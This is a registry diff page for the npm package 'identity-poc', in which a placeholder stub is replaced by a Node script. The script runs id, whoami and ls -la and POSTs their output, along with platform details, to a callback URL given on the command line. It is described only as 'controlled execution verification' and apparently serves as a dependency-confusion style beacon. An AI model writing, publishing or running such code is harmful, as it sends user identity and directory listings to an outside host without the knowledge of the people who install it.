identity-poc 0.0.0-stage → 1.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (3) hide show
  1. package/index.js +89 -0
  2. package/package.json +8 -4
  3. package/README.md +0 -3
package/index.js ADDED
@@ -0,0 +1,89 @@
1
+ #!/usr/bin/env node
2
+
3
+ const https = require("node:https");
4
+ const os = require("node:os");
5
+ const { execFile } = require("node:child_process");
6
+ const { promisify } = require("node:util");
7
+
8
+ const execFileAsync = promisify(execFile);
9
+
10
+ const callback = process.argv[2];
11
+
12
+ if (!callback) {
13
+ console.error("Usage: identity-poc <HTTPS_CALLBACK_URL>");
14
+ process.exit(1);
15
+ }
16
+
17
+ let url;
18
+
19
+ try {
20
+ url = new URL(callback);
21
+ if (url.protocol !== "https:") {
22
+ throw new Error("HTTPS required");
23
+ }
24
+ } catch {
25
+ console.error("Provide a valid HTTPS callback URL.");
26
+ process.exit(1);
27
+ }
28
+
29
+ async function runCommand(cmd, args = []) {
30
+ try {
31
+ const { stdout, stderr } = await execFileAsync(cmd, args, {
32
+ timeout: 5000,
33
+ maxBuffer: 1024 * 1024
34
+ });
35
+
36
+ return {
37
+ ok: true,
38
+ stdout: stdout.trim(),
39
+ stderr: stderr.trim()
40
+ };
41
+ } catch (err) {
42
+ return {
43
+ ok: false,
44
+ error: err.message,
45
+ stdout: (err.stdout || "").toString().trim(),
46
+ stderr: (err.stderr || "").toString().trim()
47
+ };
48
+ }
49
+ }
50
+
51
+ (async () => {
52
+ const commands = {
53
+ id: await runCommand("id"),
54
+ whoami: await runCommand("whoami"),
55
+ "ls -la": await runCommand("ls", ["-la"])
56
+ };
57
+
58
+ const payload = JSON.stringify({
59
+ marker: "IDENTITY_POC_EXECUTED",
60
+ platform: os.platform(),
61
+ node: process.version,
62
+ timestamp: new Date().toISOString(),
63
+ commands
64
+ });
65
+
66
+ const req = https.request(
67
+ url,
68
+ {
69
+ method: "POST",
70
+ headers: {
71
+ "Content-Type": "application/json",
72
+ "Content-Length": Buffer.byteLength(payload)
73
+ },
74
+ timeout: 5000
75
+ },
76
+ (res) => {
77
+ console.log("Callback status:", res.statusCode);
78
+ res.resume();
79
+ }
80
+ );
81
+
82
+ req.on("timeout", () => req.destroy(new Error("Timeout")));
83
+ req.on("error", (err) => {
84
+ console.error("Callback failed:", err.message);
85
+ process.exitCode = 1;
86
+ });
87
+
88
+ req.end(payload);
89
+ })();
package/package.json CHANGED
@@ -1,6 +1,10 @@
1
1
  {
2
2
  "name": "identity-poc",
3
- "version": "0.0.0-stage",
4
- "stub": true,
5
- "description": "Temporary package placeholder for staged publishing"
6
- }
3
+ "version": "1.0.1",
4
+ "description": "Controlled execution verification",
5
+ "main": "index.js",
6
+ "bin": {
7
+ "identity-poc": "index.js"
8
+ },
9
+ "type": "commonjs"
10
+ }
package/README.md DELETED
@@ -1,3 +0,0 @@
1
- # Temporary Holding Version
2
-
3
- This version is a temporary placeholder for this package. An operational version to replace this has been submitted for review and is awaiting a staged release.